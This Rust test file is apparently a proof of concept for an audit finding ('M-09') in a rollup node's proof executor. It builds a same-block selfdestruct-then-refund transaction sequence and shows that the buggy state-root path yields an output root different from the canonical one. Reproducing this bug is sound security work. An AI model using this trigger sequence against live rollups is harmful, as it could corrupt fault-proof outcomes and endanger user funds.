Copy
#![cfg(feature = "test-utils")]
#![allow(missing_docs)]
use alloy_network::{EthereumWallet, TransactionBuilder};
use alloy_primitives::{Address, Bytes, Sealable, TxKind, U256, keccak256};
use alloy_provider::{Provider, ProviderBuilder, network::primitives::BlockTransactions};
use alloy_rpc_types_eth::TransactionRequest;
use alloy_rlp::{Decodable, Encodable};
use alloy_trie::{Nibbles, TrieAccount};
use base_common_consensus::Predeploys;
use base_node_core::utils::setup;
use base_proof_executor::{TrieDB, TrieDBProvider};
use base_proof_mpt::{NoopTrieHinter, TrieNode, TrieProvider};
use base_protocol::OutputRoot;
use futures::StreamExt;
use reth_storage_api::StateProviderFactory;
use revm::database::{AccountStatus, BundleAccount, BundleState};
use std::collections::BTreeMap;
const MAX_FEE_PER_GAS: u128 = 20_000_000_000;
const MAX_PRIORITY_FEE_PER_GAS: u128 = 1_000_000_000;
const PREFUND_VALUE: u128 = 1_000;
const FUNDING_VALUE: u128 = 2_000;
fn deploy_tx(from: Address, nonce: u64, init_code: Bytes) -> TransactionRequest {
TransactionRequest::default()
.with_from(from)
.with_nonce(nonce)
.with_gas_limit(500_000)
.with_max_fee_per_gas(MAX_FEE_PER_GAS)
.with_max_priority_fee_per_gas(MAX_PRIORITY_FEE_PER_GAS)
.with_input(init_code)
.with_kind(TxKind::Create)
}
fn transfer_tx(from: Address, to: Address, nonce: u64, value: U256) -> TransactionRequest {
TransactionRequest::default()
.with_from(from)
.with_to(to)
.with_nonce(nonce)
.with_value(value)
.with_gas_limit(21_000)
.with_max_fee_per_gas(MAX_FEE_PER_GAS)
.with_max_priority_fee_per_gas(MAX_PRIORITY_FEE_PER_GAS)
}
/// Init code for a contract that writes storage and selfdestructs during construction.
///
/// That same-tx creation path still produces a destroyed account under modern SELFDESTRUCT rules.
fn selfdestruct_in_constructor_init_code() -> Bytes {
let mut init = Vec::new();
init.extend_from_slice(&[0x60, 0x42, 0x60, 0x00, 0x55]); // SSTORE(0, 0x42)
init.extend_from_slice(&[
0x73, // PUSH20
0xde, 0xad, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, // beneficiary
]);
init.push(0xff); // SELFDESTRUCT
Bytes::from(init)
}
#[derive(Clone, Debug)]
struct ProofTrieProvider {
trie_nodes: BTreeMap<alloy_primitives::B256, Bytes>,
}
impl ProofTrieProvider {
fn from_account_proof(proof: &[Bytes]) -> Self {
let trie_nodes = proof
.iter()
.cloned()
.map(|node| (keccak256(node.as_ref()), node))
.collect();
Self { trie_nodes }
}
}
impl TrieProvider for ProofTrieProvider {
type Error = eyre::Error;
fn trie_node_by_hash(&self, key: alloy_primitives::B256) -> Result<TrieNode, Self::Error> {
let node = self
.trie_nodes
.get(&key)
.ok_or_else(|| eyre::eyre!("missing trie node preimage for hash {key:?}"))?;
TrieNode::decode(&mut node.as_ref())
.map_err(|err| eyre::eyre!("failed to decode trie node for {key:?}: {err}"))
}
}
impl TrieDBProvider for ProofTrieProvider {
fn bytecode_by_hash(&self, code_hash: alloy_primitives::B256) -> Result<Bytes, Self::Error> {
eyre::bail!("unexpected bytecode lookup for code hash {code_hash:?}")
}
fn header_by_hash(
&self,
hash: alloy_primitives::B256,
) -> Result<alloy_consensus::Header, Self::Error> {
eyre::bail!("unexpected header lookup for hash {hash:?}")
}
}
fn destroyed_changed_bundle(address: Address, account: &BundleAccount) -> BundleState {
let mut bundle = BundleState::default();
bundle.state.insert(address, account.clone());
bundle
}
fn buggy_root_from_account_update(
parent_header: alloy_consensus::Sealed<alloy_consensus::Header>,
provider: ProofTrieProvider,
address: Address,
account: &BundleAccount,
) -> eyre::Result<alloy_primitives::B256> {
let bundle = destroyed_changed_bundle(address, account);
let mut trie_db = TrieDB::new(parent_header, provider, NoopTrieHinter);
trie_db
.state_root(&bundle)
.map_err(|err| eyre::eyre!("buggy TrieDB root calculation failed: {err}"))
}
fn correct_root_from_account_update(
parent_header: alloy_consensus::Sealed<alloy_consensus::Header>,
provider: ProofTrieProvider,
address: Address,
account: &BundleAccount,
) -> eyre::Result<alloy_primitives::B256> {
let account_info = account
.account_info()
.ok_or_else(|| eyre::eyre!("DestroyedChanged account missing final account info"))?;
let mut root = TrieDB::new(parent_header, provider.clone(), NoopTrieHinter).take_root_node();
let account_path = Nibbles::unpack(keccak256(address.as_slice()).as_slice());
let trie_account = TrieAccount {
nonce: account_info.nonce,
balance: account_info.balance,
storage_root: alloy_consensus::EMPTY_ROOT_HASH,
code_hash: account_info.code_hash,
};
let mut encoded_account = Vec::with_capacity(trie_account.length());
trie_account.encode(&mut encoded_account);
root.insert(&account_path, encoded_account.into(), &provider)
.map_err(|err| eyre::eyre!("correct account reinsertion failed: {err}"))?;
Ok(root.blind())
}
#[tokio::test(flavor = "multi_thread")]
async fn m09_same_block_destroyed_changed_replay_diverges() -> eyre::Result<()> {
let (mut nodes, wallet) = setup(1).await?;
let mut node = nodes.pop().expect("missing node");
let signer = wallet.inner.clone();
let provider =
ProviderBuilder::new().wallet(EthereumWallet::new(signer.clone())).connect_http(node.rpc_url());
let future_contract_address = signer.address().create(1);
let prefund_tx_hash = *provider
.send_transaction(transfer_tx(
signer.address(),
future_contract_address,
0,
U256::from(PREFUND_VALUE),
))
.await?
.tx_hash();
node.advance_block().await?;
let _ = node
.canonical_stream
.next()
.await
.expect("missing prefund canonical notification");
assert_eq!(
provider.get_balance(future_contract_address).await?,
U256::from(PREFUND_VALUE),
"future contract address should exist before the trigger block"
);
assert!(
provider.get_code_at(future_contract_address).await?.is_empty(),
"prefunded future address should still be code-less"
);
let deploy_pending = provider
.send_transaction(deploy_tx(
signer.address(),
1,
selfdestruct_in_constructor_init_code(),
))
.await?;
let deploy_tx_hash = *deploy_pending.tx_hash();
let funding_pending = provider
.send_transaction(transfer_tx(
signer.address(),
future_contract_address,
2,
U256::from(FUNDING_VALUE),
))
.await?;
let funding_tx_hash = *funding_pending.tx_hash();
let payload = node.advance_block().await?;
let block_number = payload.block().number;
let notification = node.canonical_stream.next().await.expect("missing canonical notification");
let committed = notification.committed();
let execution_outcome = committed.execution_outcome();
let account_state = execution_outcome
.bundle
.account(&future_contract_address)
.expect("expected funded post-selfdestruct account in bundle");
let code = provider.get_code_at(future_contract_address).await?;
let balance = provider.get_balance(future_contract_address).await?;
let slot0 = provider.get_storage_at(future_contract_address, U256::ZERO).await?;
assert_eq!(account_state.status, AccountStatus::DestroyedChanged);
assert!(code.is_empty(), "account should remain code-less after same-block funding");
assert_eq!(slot0, U256::ZERO, "destroyed storage should stay wiped");
assert_eq!(balance, U256::from(FUNDING_VALUE), "funding transfer should recreate balance");
assert!(
account_state.storage.iter().all(|(_, slot)| slot.present_value.is_zero()),
"PoC expects no surviving nonzero storage slots after same-tx selfdestruct"
);
let executing_block = provider
.get_block_by_number(block_number.into())
.await?
.expect("executing block not found");
let parent_block = provider
.get_block_by_number((block_number - 1).into())
.await?
.expect("parent block not found");
let parent_state_provider = node
.inner
.provider
.state_by_block_hash(parent_block.header.inner.hash_slow())?;
let parent_proof = parent_state_provider.proof(
Default::default(),
future_contract_address,
&[],
)?;
let canonical_tx_hashes = match &executing_block.transactions {
BlockTransactions::Hashes(transactions) => transactions.clone(),
_ => eyre::bail!("expected hash-only block transactions"),
};
let parent_state_root = parent_block.header.inner.state_root;
let parent_header = parent_block.header.inner.clone().seal_slow();
assert!(
canonical_tx_hashes.contains(&deploy_tx_hash),
"canonical block did not include deployment transaction"
);
assert!(
canonical_tx_hashes.contains(&funding_tx_hash),
"canonical block did not include funding transaction"
);
parent_proof
.verify(parent_state_root)
.map_err(|err| eyre::eyre!("parent proof does not match parent state root: {err}"))?;
let changed_bundle =
destroyed_changed_bundle(future_contract_address, account_state);
let mut destroyed_only_account = account_state.clone();
destroyed_only_account.info = None;
let destroyed_only_bundle =
destroyed_changed_bundle(future_contract_address, &destroyed_only_account);
let buggy_witness = parent_state_provider.witness(
Default::default(),
parent_state_provider.hashed_post_state(&destroyed_only_bundle),
)?;
let correct_witness = parent_state_provider.witness(
Default::default(),
parent_state_provider.hashed_post_state(&changed_bundle),
)?;
let buggy_root = buggy_root_from_account_update(
parent_header.clone(),
ProofTrieProvider::from_account_proof(&buggy_witness),
future_contract_address,
account_state,
)?;
let correct_root = correct_root_from_account_update(
parent_header,
ProofTrieProvider::from_account_proof(&correct_witness),
future_contract_address,
account_state,
)?;
let current_state_provider = node
.inner
.provider
.state_by_block_hash(executing_block.header.inner.hash_slow())?;
let previous_message_passer = parent_state_provider
.proof(Default::default(), Predeploys::L2_TO_L1_MESSAGE_PASSER, &[])?
.into_eip1186_response(Vec::new());
let previous_output_root = OutputRoot::from_parts(
parent_block.header.inner.state_root,
previous_message_passer.storage_hash,
parent_block.header.inner.hash_slow(),
)
.hash();
let executing_message_passer = current_state_provider
.proof(Default::default(), Predeploys::L2_TO_L1_MESSAGE_PASSER, &[])?
.into_eip1186_response(Vec::new());
let canonical_output_root = OutputRoot::from_parts(
correct_root,
executing_message_passer.storage_hash,
executing_block.header.inner.hash_slow(),
)
.hash();
let buggy_output_root = OutputRoot::from_parts(
buggy_root,
executing_message_passer.storage_hash,
executing_block.header.inner.hash_slow(),
)
.hash();
println!("M-09 trigger block: {block_number}");
println!("future contract address: {future_contract_address}");
println!("prefund tx hash: {prefund_tx_hash:?}");
println!("deploy tx hash: {deploy_tx_hash:?}");
println!("funding tx hash: {funding_tx_hash:?}");
println!("canonical account status: {:?}", account_state.status);
println!("canonical code len: {}", code.len());
println!("canonical balance: {balance}");
println!("canonical slot0: {}", slot0);
println!("parent state root: {parent_state_root:?}");
println!("buggy trie witness nodes: {}", buggy_witness.len());
println!("correct trie witness nodes: {}", correct_witness.len());
println!("buggy proof trie root: {buggy_root:?}");
println!("correct proof trie root: {correct_root:?}");
println!("previous output root: {previous_output_root:?}");
println!("canonical output root: {canonical_output_root:?}");
println!("buggy proof output root: {buggy_output_root:?}");
assert_ne!(
buggy_root,
correct_root,
"DestroyedChanged account update unexpectedly produced the same trie root"
);
assert_ne!(
buggy_output_root,
canonical_output_root,
"buggy proof output root unexpectedly matched the canonical L2 output root"
);
let scenario_path = std::env::var_os("M09_SCENARIO_PATH")
.map(std::path::PathBuf::from)
.unwrap_or_else(|| std::path::PathBuf::from("target/m09-scenario.json"));
if let Some(parent) = scenario_path.parent() {
std::fs::create_dir_all(parent)?;
}
std::fs::write(
&scenario_path,
serde_json::to_vec_pretty(&serde_json::json!({
"target_block": block_number,
"future_contract_address": format!("{future_contract_address:?}"),
"prefund_tx_hash": format!("{prefund_tx_hash:?}"),
"deploy_tx_hash": format!("{deploy_tx_hash:?}"),
"funding_tx_hash": format!("{funding_tx_hash:?}"),
"account_status": format!("{:?}", account_state.status),
"code_len": code.len(),
"balance": balance.to_string(),
"slot0": slot0.to_string(),
"buggy_witness_nodes": buggy_witness.len(),
"correct_witness_nodes": correct_witness.len(),
"canonical_state_root": format!("{correct_root:?}"),
"buggy_state_root": format!("{buggy_root:?}"),
"previous_output_root": format!("{previous_output_root:?}"),
"canonical_output_root": format!("{canonical_output_root:?}"),
"buggy_output_root": format!("{buggy_output_root:?}")
}))?,
)?;
println!("scenario json: {}", scenario_path.display());
Ok(())
}